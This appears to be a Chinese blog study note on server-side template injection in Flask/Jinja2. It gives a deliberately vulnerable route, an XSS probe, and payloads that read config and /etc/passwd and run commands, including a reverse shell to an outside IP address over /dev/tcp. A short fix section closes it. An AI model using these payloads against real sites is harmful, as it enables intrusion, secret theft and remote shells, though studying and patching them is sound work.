SSTL模块注入
SSTI:python-flask模块注入
原理:
1、flask模块的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)
2、flask是使用Jinja2来作为渲染引擎的。
{{}}在Jinja2中作为变量包裹标识符。使用 {{内容}} 传入的内容都会被当做变量执行
利用
测试代码:
@app.route('/test/') //route装饰器的作用是将函数与url绑定起来,即 def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
XSS利用:
直接向?id中传入XSS语句
eg: ?id=<script>alert('xss')</script>
SSTI基础利用:
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式
可以构造 ?id={{5*5}},若是页面的回显中存在结果 25 ,则存在SSTI
可以用其读取运行文件
1)读取flask模块的全局变量config:
?id={{config}}
2)在 tornado框架的网站中,{{handler.settings}} 可以得出cookie_secret
SSTI文件读取和命令执行:
pythonon中的魔术方法:
__class__ 返回类型所属的对象(类) __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
思路:
通过python的对象的继续来一步步实现文件的读取和命令执行的 首先用__class__读取当前类对象的类,找到父类 <type 'object'> 然后用__mro__或者__base__寻找基类 然后用__subclasses__找命令执行或者文件操作的模块 然后使用__init__声明 然后使用__globals__引用模块
文件读取:
1.获取字符串的类对象(获取一个类):
?id={{'a'.__class__}}
2.寻找基类链,找到<type 'object'>类
?id={{ 'a'.__class__.__mro__}}
3.寻找<type 'object'>类的所有子类中可用的引用类
?id={{'a'.__class__.__mro__[2].__subclasses__()}}
这里可以看到有一个<type 'file'>类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。
4.利用<type 'file'>的read()方法进行文件读取
?id={{'a'.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
命令执行
payload:
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') 'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.14/7777 0>&1') []中的数值根据具体场景确定
快速寻找os模块的脚本(利用globals可查看到此类包含所有模块的字典):
# encoding: utf-8 num=0 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print(num) print(item) num+=1 except: print('-') num+=1
漏洞修复
将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行。
例如本例中将
''' <h3>%s</h3> '''%(code)
构造成:
'<h1>{{ code }}</h1>',code=code
强烈建议阅读原文:
https://www.cnblogs.com/-chenxs/p/11971164.html
https://blog.csdn.net/weixin_46342884/article/details/123246354
注: 本文几乎是搬运网上各位作者的部分文章,组成了我想要了解和学习的知识点;每一小节都有标明出处,建议阅读原文(原文更加详细),若有冒犯,望海涵!
标签:02,__,.__,--,class,__.__,mro,SSTL,id From: https://www.cnblogs.com/yiyajinluo/p/16751201.html